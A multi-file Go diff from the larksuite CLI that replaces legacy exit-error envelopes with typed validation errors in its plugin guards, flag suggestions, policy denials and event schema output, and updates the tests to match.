||||
})
|
||||
|
||||
f, stdout, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "test"})
|
||||
if err := runSchema(f, syntheticKey, false); err != nil {
|
||||
t.Fatalf("runSchema: %v", err)
|
||||
}
|
||||
|
||||
out := stdout.String()
|
||||
if !strings.Contains(out, "SUB-KEY") {
|
||||
t.Errorf("missing SUB-KEY column header in:\n%s", out)
|
||||
}
|
||||
|
||||
// Find the mailbox row and verify "yes" is present
|
||||
var mailboxRow string
|
||||
for _, ln := range strings.Split(out, "\n") {
|
||||
if strings.Contains(ln, "mailbox") && !strings.Contains(ln, "NAME") {
|
||||
mailboxRow = ln
|
||||
break
|
||||
}
|
||||
}
|
||||
if !strings.Contains(mailboxRow, "yes") {
|
||||
t.Errorf("mailbox row missing yes SUB-KEY marker: %q", mailboxRow)
|
||||
}
|
||||
|
||||
// Find the folders row and verify "no" is present
|
||||
var foldersRow string
|
||||
for _, ln := range strings.Split(out, "\n") {
|
||||
if strings.Contains(ln, "folders") && !strings.Contains(ln, "NAME") {
|
||||
foldersRow = ln
|
||||
break
|
||||
}
|
||||
}
|
||||
if !strings.Contains(foldersRow, "no") {
|
||||
t.Errorf("folders row missing no SUB-KEY marker: %q", foldersRow)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSchema_JSON_IncludesSubscriptionKey(t *testing.T) {
|
||||
const syntheticKey = "test.evt_json"
|
||||
t.Cleanup(func() { eventlib.UnregisterKeyForTest(syntheticKey) })
|
||||
|
||||
eventlib.RegisterKey(eventlib.KeyDefinition{
|
||||
Key: syntheticKey,
|
||||
EventType: syntheticKey,
|
||||
Params: []eventlib.ParamDef{{Name: "mailbox", SubscriptionKey: true}},
|
||||
Schema: eventlib.SchemaDef{Native: &eventlib.SchemaSpec{Type: reflect.TypeOf(struct{ X string }{})}},
|
||||
})
|
||||
|
||||
f, stdout, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "test"})
|
||||
if err := runSchema(f, syntheticKey, true); err != nil {
|
||||
t.Fatalf("runSchema json: %v", err)
|
||||
}
|
||||
|
||||
if !strings.Contains(stdout.String(), `"subscription_key"`) {
|
||||
t.Errorf("JSON output missing subscription_key field: %s", stdout.String())
|
||||
}
|
||||
if !strings.Contains(stdout.String(), `true`) {
|
||||
t.Errorf("JSON output missing subscription_key: true value: %s", stdout.String())
|
||||
}
|
||||
}
|
||||
|
||||
func TestResolveSchemaJSON_CustomWithOverlay(t *testing.T) {
|
||||
const syntheticKey = "t.custom.overlay"
|
||||
t.Cleanup(func() { eventlib.UnregisterKeyForTest(syntheticKey) })
|
||||
@@ -129,3 +270,38 @@ func TestResolveSchemaJSON_CustomWithOverlay(t *testing.T) {
|
||||
t.Errorf("overlay format = %v, want open_id", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestRenderSpec_EmptySpecIsTypedInternalError(t *testing.T) {
|
||||
_, err := renderSpec(&eventlib.SchemaSpec{})
|
||||
if err == nil {
|
||||
t.Fatal("expected error for spec with neither Type nor Raw")
|
||||
}
|
||||
p, ok := errs.ProblemOf(err)
|
||||
if !ok {
|
||||
t.Fatalf("expected typed errs error, got %T: %v", err, err)
|
||||
}
|
||||
if p.Category != errs.CategoryInternal {
|
||||
t.Errorf("category = %s, want %s", p.Category, errs.CategoryInternal)
|
||||
}
|
||||
}
|
||||
|
||||
func TestResolveSchemaJSON_InvalidBaseWithOverridesIsTypedInternalError(t *testing.T) {
|
||||
def := &eventlib.KeyDefinition{
|
||||
Key: "synthetic.invalid.base",
|
||||
Schema: eventlib.SchemaDef{
|
||||
Custom: &eventlib.SchemaSpec{Raw: json.RawMessage("{not json")},
|
||||
FieldOverrides: map[string]schemas.FieldMeta{"x": {}},
|
||||
},
|
||||
}
|
||||
_, _, err := resolveSchemaJSON(def)
|
||||
if err == nil {
|
||||
t.Fatal("expected error for unparsable base schema")
|
||||
}
|
||||
p, ok := errs.ProblemOf(err)
|
||||
if !ok {
|
||||
t.Fatalf("expected typed errs error, got %T: %v", err, err)
|
||||
}
|
||||
if p.Category != errs.CategoryInternal {
|
||||
t.Errorf("category = %s, want %s", p.Category, errs.CategoryInternal)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -7,6 +7,7 @@ import (
|
||||
"fmt"
|
||||
"io"
|
||||
"sort"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
@@ -242,12 +243,17 @@ func writeStatusText(out io.Writer, statuses []appStatus) {
|
||||
s.PID, (time.Duration(s.UptimeSec) * time.Second).String())
|
||||
fmt.Fprintf(out, " Active consumers: %d\n", s.Active)
|
||||
if len(s.Consumers) > 0 {
|
||||
headers := []string{"CONSUMER", "EVENT KEY", "RECEIVED", "DROPPED"}
|
||||
headers := []string{"CONSUMER", "EVENT KEY", "SUB", "RECEIVED", "DROPPED"}
|
||||
rows := make([][]string, 0, len(s.Consumers))
|
||||
for _, c := range s.Consumers {
|
||||
subDisplay := "-"
|
||||
if c.SubscriptionID != "" && c.SubscriptionID != c.EventKey {
|
||||
subDisplay = strings.TrimPrefix(c.SubscriptionID, c.EventKey+":")
|
||||
}
|
||||
rows = append(rows, []string{
|
||||
fmt.Sprintf("pid=%d", c.PID),
|
||||
c.EventKey,
|
||||
subDisplay,
|
||||
fmt.Sprintf("%d", c.Received),
|
||||
fmt.Sprintf("%d", c.Dropped),
|
||||
})
|
||||
|
||||
@@ -19,12 +19,12 @@ func TestExitForOrphan_Orphan(t *testing.T) {
|
||||
if err == nil {
|
||||
t.Fatal("expected error when failOnOrphan=true and orphan present")
|
||||
}
|
||||
var exitErr *output.ExitError
|
||||
if !errors.As(err, &exitErr) {
|
||||
t.Fatalf("expected *output.ExitError, got %T", err)
|
||||
var bareErr *output.BareError
|
||||
if !errors.As(err, &bareErr) {
|
||||
t.Fatalf("expected *output.BareError, got %T", err)
|
||||
}
|
||||
if exitErr.Code != output.ExitValidation {
|
||||
t.Errorf("Code = %d, want %d", exitErr.Code, output.ExitValidation)
|
||||
if bareErr.Code != output.ExitValidation {
|
||||
t.Errorf("Code = %d, want %d", bareErr.Code, output.ExitValidation)
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -8,8 +8,8 @@ import (
|
||||
"sort"
|
||||
"strings"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
eventlib "github.com/larksuite/cli/internal/event"
|
||||
"github.com/larksuite/cli/internal/output"
|
||||
"github.com/larksuite/cli/internal/suggest"
|
||||
)
|
||||
|
||||
@@ -64,9 +64,6 @@ func unknownEventKeyErr(key string) error {
|
||||
if guesses := suggestEventKeys(key); len(guesses) > 0 {
|
||||
msg += " — did you mean " + formatSuggestions(guesses) + "?"
|
||||
}
|
||||
return output.ErrWithHint(
|
||||
output.ExitValidation, "validation",
|
||||
msg,
|
||||
"Run 'lark-cli event list' to see available keys.",
|
||||
)
|
||||
return errs.NewValidationError(errs.SubtypeInvalidArgument, "%s", msg).
|
||||
WithHint("Run 'lark-cli event list' to see available keys.")
|
||||
}
|
||||
|
||||
@@ -5,10 +5,10 @@ package cmd
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"slices"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
"github.com/larksuite/cli/internal/output"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
@@ -40,31 +40,65 @@ func TestFlagDidYouMean_UnknownFlagSuggestsAndListsValid(t *testing.T) {
|
||||
c.Flags().Bool("dry-run", false, "")
|
||||
|
||||
err := flagDidYouMean(c, errors.New("unknown flag: --rang")) // typo of --range
|
||||
var exitErr *output.ExitError
|
||||
if !errors.As(err, &exitErr) {
|
||||
t.Fatalf("expected *output.ExitError, got %T", err)
|
||||
var verr *errs.ValidationError
|
||||
if !errors.As(err, &verr) {
|
||||
t.Fatalf("expected *errs.ValidationError, got %T", err)
|
||||
}
|
||||
if exitErr.Detail.Type != "unknown_flag" {
|
||||
t.Errorf("type = %q, want unknown_flag", exitErr.Detail.Type)
|
||||
if verr.Subtype != errs.SubtypeInvalidArgument {
|
||||
t.Errorf("subtype = %q, want invalid_argument", verr.Subtype)
|
||||
}
|
||||
if !strings.Contains(exitErr.Detail.Hint, "--range") {
|
||||
t.Errorf("hint should suggest --range, got %q", exitErr.Detail.Hint)
|
||||
if code := output.ExitCodeOf(err); code != output.ExitValidation {
|
||||
t.Errorf("exit code = %d, want %d (ExitValidation)", code, output.ExitValidation)
|
||||
}
|
||||
detail, _ := exitErr.Detail.Detail.(map[string]any)
|
||||
valid, _ := detail["valid_flags"].([]string)
|
||||
if !slices.Contains(valid, "find") || !slices.Contains(valid, "range") {
|
||||
t.Errorf("valid_flags should list find & range, got %v", valid)
|
||||
// The offending flag is carried structurally on Params (replaces the
|
||||
// legacy detail map) and named in the message.
|
||||
if len(verr.Params) != 1 || verr.Params[0].Name != "--rang" {
|
||||
t.Errorf("Params = %v, want one entry named --rang", verr.Params)
|
||||
}
|
||||
if len(verr.Params) == 1 && verr.Params[0].Reason == "" {
|
||||
t.Error("Params[0].Reason must explain the rejection")
|
||||
}
|
||||
if !strings.Contains(verr.Message, "--rang") {
|
||||
t.Errorf("message should name the offending flag, got %q", verr.Message)
|
||||
}
|
||||
// The ranked candidate rides on the param as a machine-readable suggestion
|
||||
// so an agent can retry without parsing prose.
|
||||
if len(verr.Params) == 1 {
|
||||
found := false
|
||||
for _, s := range verr.Params[0].Suggestions {
|
||||
if s == "--range" {
|
||||
found = true
|
||||
}
|
||||
}
|
||||
if !found {
|
||||
t.Errorf("Params[0].Suggestions should include --range, got %v", verr.Params[0].Suggestions)
|
||||
}
|
||||
}
|
||||
// The same candidate is also carried in the human-facing hint.
|
||||
if !strings.Contains(verr.Hint, "--range") {
|
||||
t.Errorf("hint should suggest --range, got %q", verr.Hint)
|
||||
}
|
||||
}
|
||||
|
||||
func TestFlagDidYouMean_OtherErrorStaysGeneric(t *testing.T) {
|
||||
c := &cobra.Command{Use: "demo"}
|
||||
err := flagDidYouMean(c, errors.New("flag needs an argument: --find"))
|
||||
var exitErr *output.ExitError
|
||||
if !errors.As(err, &exitErr) {
|
||||
t.Fatalf("expected *output.ExitError, got %T", err)
|
||||
var verr *errs.ValidationError
|
||||
if !errors.As(err, &verr) {
|
||||
t.Fatalf("expected *errs.ValidationError, got %T", err)
|
||||
}
|
||||
if exitErr.Detail.Type != "flag_error" {
|
||||
t.Errorf("type = %q, want flag_error (non-unknown-flag errors stay generic)", exitErr.Detail.Type)
|
||||
// Non-unknown-flag errors stay generic: invalid_argument subtype, no
|
||||
// structured param, generic --help hint (no "did you mean" suggestion).
|
||||
if verr.Subtype != errs.SubtypeInvalidArgument {
|
||||
t.Errorf("subtype = %q, want invalid_argument (non-unknown-flag errors stay generic)", verr.Subtype)
|
||||
}
|
||||
if code := output.ExitCodeOf(err); code != output.ExitValidation {
|
||||
t.Errorf("exit code = %d, want %d (ExitValidation)", code, output.ExitValidation)
|
||||
}
|
||||
if verr.Param != "" || len(verr.Params) != 0 {
|
||||
t.Errorf("Param=%q Params=%v, want both empty for generic flag error", verr.Param, verr.Params)
|
||||
}
|
||||
if strings.Contains(verr.Hint, "did you mean") {
|
||||
t.Errorf("generic flag error must not produce a did-you-mean hint, got %q", verr.Hint)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -9,10 +9,12 @@ import (
|
||||
"errors"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
"github.com/larksuite/cli/extension/platform"
|
||||
"github.com/larksuite/cli/internal/cmdpolicy"
|
||||
"github.com/larksuite/cli/internal/cmdutil"
|
||||
@@ -102,7 +104,7 @@ func findLeaf(t *testing.T, parent *cobra.Command, names ...string) *cobra.Comma
|
||||
}
|
||||
|
||||
// Happy path: a valid policy.yml denies one specific command. The denied
|
||||
// command's RunE returns a typed ExitError envelope; allowed commands are
|
||||
// command's RunE returns a typed error envelope; allowed commands are
|
||||
// untouched.
|
||||
func TestApplyUserPolicyPruning_appliesValidPolicy(t *testing.T) {
|
||||
cfgDir := tmpHome(t)
|
||||
@@ -127,13 +129,27 @@ max_risk: write
|
||||
if err == nil {
|
||||
t.Fatalf("+delete-doc RunE should return an error")
|
||||
}
|
||||
var exitErr *output.ExitError
|
||||
if !errors.As(err, &exitErr) || exitErr.Detail == nil || exitErr.Detail.Type != "command_denied" {
|
||||
t.Fatalf("expected command_denied ExitError, got %T %+v", err, err)
|
||||
var verr *errs.ValidationError
|
||||
if !errors.As(err, &verr) {
|
||||
t.Fatalf("expected *errs.ValidationError, got %T %+v", err, err)
|
||||
}
|
||||
detail, ok := exitErr.Detail.Detail.(map[string]any)
|
||||
if !ok || detail["reason_code"] != "command_denylisted" {
|
||||
t.Errorf("reason_code = %v, want command_denylisted", detail["reason_code"])
|
||||
if verr.Subtype != errs.SubtypeFailedPrecondition {
|
||||
t.Errorf("subtype = %q, want failed_precondition", verr.Subtype)
|
||||
}
|
||||
if code := output.ExitCodeOf(err); code != output.ExitValidation {
|
||||
t.Errorf("exit code = %d, want %d (ExitValidation)", code, output.ExitValidation)
|
||||
}
|
||||
// The denial taxonomy (reason_code, layer, rule) is preserved on the
|
||||
// wrapped *platform.CommandDeniedError cause and folded into the hint.
|
||||
var cd *platform.CommandDeniedError
|
||||
if !errors.As(err, &cd) {
|
||||
t.Fatalf("error chain should expose *platform.CommandDeniedError")
|
||||
}
|
||||
if cd.ReasonCode != "command_denylisted" {
|
||||
t.Errorf("CommandDeniedError.ReasonCode = %q, want command_denylisted", cd.ReasonCode)
|
||||
}
|
||||
if !strings.Contains(verr.Hint, "command_denylisted") {
|
||||
t.Errorf("hint should surface reason_code command_denylisted, got %q", verr.Hint)
|
||||
}
|
||||
|
||||
// im/+send must be denied (domain not in Allow).
|
||||
|
||||
@@ -8,9 +8,9 @@ import (
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
"github.com/larksuite/cli/internal/cmdpolicy"
|
||||
"github.com/larksuite/cli/internal/hook"
|
||||
"github.com/larksuite/cli/internal/output"
|
||||
internalplatform "github.com/larksuite/cli/internal/platform"
|
||||
)
|
||||
|
||||
@@ -34,16 +34,8 @@ import (
|
||||
// lands directly on their RunE, which now carries the guard.
|
||||
//
|
||||
// makeErr is called for every guarded dispatch; it must return a fresh
|
||||
// *output.ExitError each time (the envelope writer mutates a few fields
|
||||
// as it serialises).
|
||||
// Deprecated: installFatalGuard accepts a *output.ExitError-producing lambda,
|
||||
// which is part of the legacy error surface that predates the typed error
|
||||
// contract introduced by errs/. New code MUST NOT add new callers — the
|
||||
// platform-extension fatal-guard plumbing will switch to typed errs.* errors
|
||||
// when the platform-extension framework migrates. This wrapper is retained
|
||||
// only for the existing in-tree call sites; it will be removed once they
|
||||
// have moved to the typed surface.
|
||||
func installFatalGuard(rootCmd *cobra.Command, makeErr func() *output.ExitError) {
|
||||
// typed error each time.
|
||||
func installFatalGuard(rootCmd *cobra.Command, makeErr func() error) {
|
||||
// Two cobra subcommands are injected lazily at Execute() time and
|
||||
// would otherwise slip past walkGuard. We pre-register both so
|
||||
// walkGuard catches them.
|
||||
@@ -80,120 +72,65 @@ func installFatalGuard(rootCmd *cobra.Command, makeErr func() *output.ExitError)
|
||||
}
|
||||
|
||||
// installPluginInstallErrorGuard surfaces a FailClosed plugin install
|
||||
// failure as a structured plugin_install envelope before any command
|
||||
// runs.
|
||||
// Deprecated: installPluginInstallErrorGuard produces a legacy
|
||||
// *output.ExitError via its internal makeErr lambda. New code MUST NOT add
|
||||
// such producers — plugin install failures should surface as a typed
|
||||
// *errs.XxxError once the platform-extension framework migrates. This
|
||||
// helper is retained only while existing call sites are migrated; it will
|
||||
// be removed once they have moved to the typed surface.
|
||||
// failure as a typed validation error (failed_precondition) before any
|
||||
// command runs.
|
||||
func installPluginInstallErrorGuard(rootCmd *cobra.Command, installErr error) {
|
||||
makeErr := func() *output.ExitError {
|
||||
makeErr := func() error {
|
||||
var pi *internalplatform.PluginInstallError
|
||||
if errors.As(installErr, &pi) {
|
||||
return &output.ExitError{
|
||||
Code: output.ExitValidation,
|
||||
Detail: &output.ErrDetail{
|
||||
Type: "plugin_install",
|
||||
Message: pi.Error(),
|
||||
Detail: map[string]any{
|
||||
"plugin": pi.PluginName,
|
||||
"reason_code": pi.ReasonCode,
|
||||
"reason": pi.Reason,
|
||||
},
|
||||
},
|
||||
Err: installErr,
|
||||
}
|
||||
}
|
||||
return &output.ExitError{
|
||||
Code: output.ExitValidation,
|
||||
Detail: &output.ErrDetail{
|
||||
Type: "plugin_install",
|
||||
Message: installErr.Error(),
|
||||
Detail: map[string]any{
|
||||
"reason_code": internalplatform.ReasonInstallFailed,
|
||||
},
|
||||
},
|
||||
Err: installErr,
|
||||
return errs.NewValidationError(errs.SubtypeFailedPrecondition, "%s", pi.Error()).
|
||||
WithHint("plugin %q failed to install (reason_code %s); fix or remove the plugin before running commands", pi.PluginName, pi.ReasonCode).
|
||||
WithCause(installErr)
|
||||
}
|
||||
return errs.NewValidationError(errs.SubtypeFailedPrecondition, "%s", installErr.Error()).
|
||||
WithHint("a plugin failed to install (reason_code %s); fix or remove the plugin before running commands", internalplatform.ReasonInstallFailed).
|
||||
WithCause(installErr)
|
||||
}
|
||||
installFatalGuard(rootCmd, makeErr)
|
||||
}
|
||||
|
||||
// installPluginConflictGuard surfaces a Plugin.Restrict() configuration
|
||||
// error (single plugin invalid Rule or multiple plugins each contributing
|
||||
// Restrict). The design separates the envelope type:
|
||||
// Restrict). The hint separates the two failure modes by reason code:
|
||||
//
|
||||
// - "plugin_install" with reason_code "invalid_rule" - single bad rule
|
||||
// - "plugin_conflict" with reason_code "multiple_restrict_plugins" - multi
|
||||
// - "invalid_rule" - single bad rule
|
||||
// - "multiple_restrict_plugins" - multiple Restrict plugins conflict
|
||||
//
|
||||
// Either way the CLI must NOT silently continue with a broken policy.
|
||||
// Deprecated: installPluginConflictGuard produces a legacy *output.ExitError
|
||||
// via its internal makeErr lambda. New code MUST NOT add such producers —
|
||||
// plugin conflict failures should surface as a typed *errs.XxxError once the
|
||||
// platform-extension framework migrates. This helper is retained only while
|
||||
// existing call sites are migrated; it will be removed once they have moved
|
||||
// to the typed surface.
|
||||
func installPluginConflictGuard(rootCmd *cobra.Command, err error) {
|
||||
makeErr := func() *output.ExitError {
|
||||
envelopeType := "plugin_install"
|
||||
makeErr := func() error {
|
||||
reasonCode := internalplatform.ReasonInvalidRule
|
||||
if errors.Is(err, cmdpolicy.ErrMultipleRestricts) {
|
||||
envelopeType = "plugin_conflict"
|
||||
reasonCode = internalplatform.ReasonMultipleRestricts
|
||||
}
|
||||
return &output.ExitError{
|
||||
Code: output.ExitValidation,
|
||||
Detail: &output.ErrDetail{
|
||||
Type: envelopeType,
|
||||
Message: err.Error(),
|
||||
Detail: map[string]any{
|
||||
"reason_code": reasonCode,
|
||||
},
|
||||
},
|
||||
Err: err,
|
||||
}
|
||||
return errs.NewValidationError(errs.SubtypeFailedPrecondition, "%s", err.Error()).
|
||||
WithHint("plugin policy configuration is broken (reason_code %s); fix the plugin's Restrict rule or remove the conflicting plugin", reasonCode).
|
||||
WithCause(err)
|
||||
}
|
||||
installFatalGuard(rootCmd, makeErr)
|
||||
}
|
||||
|
||||
// installPluginLifecycleErrorGuard surfaces a Startup lifecycle handler
|
||||
// failure as a plugin_lifecycle envelope. The reason_code splits
|
||||
// returned-error vs panic so consumers (audit / on-call) can tell the
|
||||
// two failure modes apart.
|
||||
// Deprecated: installPluginLifecycleErrorGuard produces a legacy
|
||||
// *output.ExitError via its internal makeErr lambda. New code MUST NOT add
|
||||
// such producers — plugin lifecycle failures should surface as a typed
|
||||
// *errs.XxxError once the platform-extension framework migrates. This
|
||||
// helper is retained only while existing call sites are migrated; it will
|
||||
// be removed once they have moved to the typed surface.
|
||||
// failure as a typed validation error (failed_precondition). The hint's
|
||||
// reason code splits returned-error vs panic so consumers (audit /
|
||||
// on-call) can tell the two failure modes apart.
|
||||
func installPluginLifecycleErrorGuard(rootCmd *cobra.Command, err error) {
|
||||
makeErr := func() *output.ExitError {
|
||||
makeErr := func() error {
|
||||
reasonCode := "lifecycle_failed"
|
||||
detail := map[string]any{
|
||||
"reason_code": reasonCode,
|
||||
}
|
||||
hookName := ""
|
||||
var le *hook.LifecycleError
|
||||
if errors.As(err, &le) {
|
||||
if le.Panic {
|
||||
reasonCode = "lifecycle_panic"
|
||||
}
|
||||
detail = map[string]any{
|
||||
"reason_code": reasonCode,
|
||||
"hook_name": le.HookName,
|
||||
"event": "startup",
|
||||
}
|
||||
hookName = le.HookName
|
||||
}
|
||||
return &output.ExitError{
|
||||
Code: output.ExitValidation,
|
||||
Detail: &output.ErrDetail{
|
||||
Type: "plugin_lifecycle",
|
||||
Message: err.Error(),
|
||||
Detail: detail,
|
||||
},
|
||||
Err: err,
|
||||
typed := errs.NewValidationError(errs.SubtypeFailedPrecondition, "%s", err.Error()).
|
||||
WithCause(err)
|
||||
if hookName != "" {
|
||||
return typed.WithHint("plugin startup hook %q failed (reason_code %s); fix or remove the plugin before running commands", hookName, reasonCode)
|
||||
}
|
||||
return typed.WithHint("a plugin startup hook failed (reason_code %s); fix or remove the plugin before running commands", reasonCode)
|
||||
}
|
||||
installFatalGuard(rootCmd, makeErr)
|
||||
}
|
||||
@@ -219,14 +156,7 @@ func installPluginLifecycleErrorGuard(rootCmd *cobra.Command, err error) {
|
||||
//
|
||||
// This way the very first non-nil step in cobra's chain is always our
|
||||
// guard, regardless of which leaf the user invoked.
|
||||
// Deprecated: walkGuard accepts a *output.ExitError-producing lambda, part
|
||||
// of the legacy error surface that predates the typed error contract
|
||||
// introduced by errs/. New code MUST NOT add new callers — the platform-
|
||||
// extension guard plumbing will switch to typed errs.* errors when the
|
||||
// platform-extension framework migrates. This wrapper is retained only for
|
||||
// the existing in-tree call sites; it will be removed once they have moved
|
||||
// to the typed surface.
|
||||
func walkGuard(cmd *cobra.Command, makeErr func() *output.ExitError) {
|
||||
func walkGuard(cmd *cobra.Command, makeErr func() error) {
|
||||
if cmd == nil {
|
||||
return
|
||||
}
|
||||
|
||||
@@ -6,12 +6,14 @@ package cmd
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"strings"
|
||||
"sync"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
"github.com/larksuite/cli/extension/platform"
|
||||
"github.com/larksuite/cli/internal/hook"
|
||||
"github.com/larksuite/cli/internal/output"
|
||||
@@ -32,7 +34,7 @@ func (failClosedAbortingPlugin) Install(platform.Registrar) error {
|
||||
}
|
||||
|
||||
// When a FailClosed plugin fails to install, buildInternal must
|
||||
// install a PersistentPreRunE that returns a structured *output.ExitError.
|
||||
// install a PersistentPreRunE that returns a typed *errs.ValidationError.
|
||||
// The user must NEVER see a silent partial-install state.
|
||||
//
|
||||
// This pins the build.go fix for codex's NEW ISSUE about
|
||||
@@ -93,26 +95,31 @@ func TestBuildInternal_failClosedAbortsCLI(t *testing.T) {
|
||||
checkGuardError(t, leaf.RunE(leaf, nil))
|
||||
}
|
||||
|
||||
// checkGuardError asserts that err is the structured plugin_install
|
||||
// ExitError the guard produces.
|
||||
// checkGuardError asserts that err is the typed validation error the
|
||||
// install guard produces: a failed_precondition *errs.ValidationError
|
||||
// (exit 2) whose message + hint preserve the plugin name and the
|
||||
// install_failed reason code (the recovery info that lived in the legacy
|
||||
// detail map).
|
||||
func checkGuardError(t *testing.T, err error) {
|
||||
t.Helper()
|
||||
if err == nil {
|
||||
t.Fatalf("PersistentPreRunE must surface the install error, got nil")
|
||||
}
|
||||
var exitErr *output.ExitError
|
||||
if !errors.As(err, &exitErr) || exitErr.Detail == nil {
|
||||
t.Fatalf("expected *output.ExitError, got %T %+v", err, err)
|
||||
var verr *errs.ValidationError
|
||||
if !errors.As(err, &verr) {
|
||||
t.Fatalf("expected *errs.ValidationError, got %T %+v", err, err)
|
||||
}
|
||||
if exitErr.Detail.Type != "plugin_install" {
|
||||
t.Errorf("envelope type = %q, want plugin_install", exitErr.Detail.Type)
|
||||
if verr.Subtype != errs.SubtypeFailedPrecondition {
|
||||
t.Errorf("subtype = %q, want failed_precondition", verr.Subtype)
|
||||
}
|
||||
detail := exitErr.Detail.Detail.(map[string]any)
|
||||
if detail["plugin"] != "policy" {
|
||||
t.Errorf("detail.plugin = %v, want policy", detail["plugin"])
|
||||
if code := output.ExitCodeOf(err); code != output.ExitValidation {
|
||||
t.Errorf("exit code = %d, want %d (ExitValidation)", code, output.ExitValidation)
|
||||
}
|
||||
if detail["reason_code"] != internalplatform.ReasonInstallFailed {
|
||||
t.Errorf("detail.reason_code = %v, want install_failed", detail["reason_code"])
|
||||
if !strings.Contains(verr.Hint, "policy") {
|
||||
t.Errorf("hint should name the failing plugin %q, got %q", "policy", verr.Hint)
|
||||
}
|
||||
if !strings.Contains(verr.Hint, internalplatform.ReasonInstallFailed) {
|
||||
t.Errorf("hint should surface reason_code %q, got %q", internalplatform.ReasonInstallFailed, verr.Hint)
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -8,11 +8,13 @@ import (
|
||||
"errors"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"sync/atomic"
|
||||
"testing"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
"github.com/larksuite/cli/extension/platform"
|
||||
"github.com/larksuite/cli/internal/cmdpolicy"
|
||||
"github.com/larksuite/cli/internal/cmdutil"
|
||||
@@ -156,19 +158,23 @@ func TestPluginPipeline_wrapAbortReachesEnvelope(t *testing.T) {
|
||||
}
|
||||
|
||||
err = leaf.RunE(leaf, nil)
|
||||
var exitErr *output.ExitError
|
||||
if !errors.As(err, &exitErr) || exitErr.Detail == nil {
|
||||
t.Fatalf("expected *output.ExitError, got %T %+v", err, err)
|
||||
var verr *errs.ValidationError
|
||||
if !errors.As(err, &verr) {
|
||||
t.Fatalf("expected *errs.ValidationError, got %T %+v", err, err)
|
||||
}
|
||||
if exitErr.Detail.Type != "hook" {
|
||||
t.Errorf("envelope type = %q, want hook", exitErr.Detail.Type)
|
||||
if verr.Subtype != errs.SubtypeFailedPrecondition {
|
||||
t.Errorf("subtype = %q, want failed_precondition", verr.Subtype)
|
||||
}
|
||||
detail := exitErr.Detail.Detail.(map[string]any)
|
||||
if detail["reason_code"] != "aborted" {
|
||||
t.Errorf("detail.reason_code = %v, want aborted", detail["reason_code"])
|
||||
if code := output.ExitCodeOf(err); code != output.ExitValidation {
|
||||
t.Errorf("exit code = %d, want %d (ExitValidation)", code, output.ExitValidation)
|
||||
}
|
||||
if detail["hook_name"] != "policy-plugin.policy" {
|
||||
t.Errorf("detail.hook_name = %v, want policy-plugin.policy", detail["hook_name"])
|
||||
// The namespaced hook name and the abort semantics are preserved in the
|
||||
// message so a caller can identify which plugin hook rejected the call.
|
||||
if !strings.Contains(verr.Message, "policy-plugin.policy") {
|
||||
t.Errorf("message should name the aborting hook policy-plugin.policy, got %q", verr.Message)
|
||||
}
|
||||
if !strings.Contains(verr.Message, "aborted") {
|
||||
t.Errorf("message should describe the abort, got %q", verr.Message)
|
||||
}
|
||||
|
||||
// errors.As must still reach the original AbortError so consumers
|
||||
@@ -409,15 +415,20 @@ func TestPluginConflictGuard_MultipleRestrictAbortsCLI(t *testing.T) {
|
||||
t.Fatalf("no runnable leaf in command tree")
|
||||
}
|
||||
err := leaf.RunE(leaf, nil)
|
||||
var exitErr *output.ExitError
|
||||
if !errors.As(err, &exitErr) || exitErr.Detail == nil {
|
||||
t.Fatalf("expected *output.ExitError, got %T %+v", err, err)
|
||||
var verr *errs.ValidationError
|
||||
if !errors.As(err, &verr) {
|
||||
t.Fatalf("expected *errs.ValidationError, got %T %+v", err, err)
|
||||
}
|
||||
if exitErr.Detail.Type != "plugin_conflict" {
|
||||
t.Errorf("envelope type = %q, want plugin_conflict", exitErr.Detail.Type)
|
||||
if verr.Subtype != errs.SubtypeFailedPrecondition {
|
||||
t.Errorf("subtype = %q, want failed_precondition", verr.Subtype)
|
||||
}
|
||||
if rc := exitErr.Detail.Detail.(map[string]any)["reason_code"]; rc != "multiple_restrict_plugins" {
|
||||
t.Errorf("reason_code = %v, want multiple_restrict_plugins", rc)
|
||||
if code := output.ExitCodeOf(err); code != output.ExitValidation {
|
||||
t.Errorf("exit code = %d, want %d (ExitValidation)", code, output.ExitValidation)
|
||||
}
|
||||
// reason_code multiple_restrict_plugins is folded into the hint so the
|
||||
// operator can distinguish a multi-Restrict conflict from a bad rule.
|
||||
if !strings.Contains(verr.Hint, "multiple_restrict_plugins") {
|
||||
t.Errorf("hint should surface reason_code multiple_restrict_plugins, got %q", verr.Hint)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -447,15 +458,20 @@ func TestPluginConflictGuard_InvalidRuleAbortsCLI(t *testing.T) {
|
||||
t.Fatalf("no runnable leaf in command tree")
|
||||
}
|
||||
err := leaf.RunE(leaf, nil)
|
||||
var exitErr *output.ExitError
|
||||
if !errors.As(err, &exitErr) || exitErr.Detail == nil {
|
||||
t.Fatalf("expected *output.ExitError, got %T %+v", err, err)
|
||||
var verr *errs.ValidationError
|
||||
if !errors.As(err, &verr) {
|
||||
t.Fatalf("expected *errs.ValidationError, got %T %+v", err, err)
|
||||
}
|
||||
if exitErr.Detail.Type != "plugin_install" {
|
||||
t.Errorf("envelope type = %q, want plugin_install", exitErr.Detail.Type)
|
||||
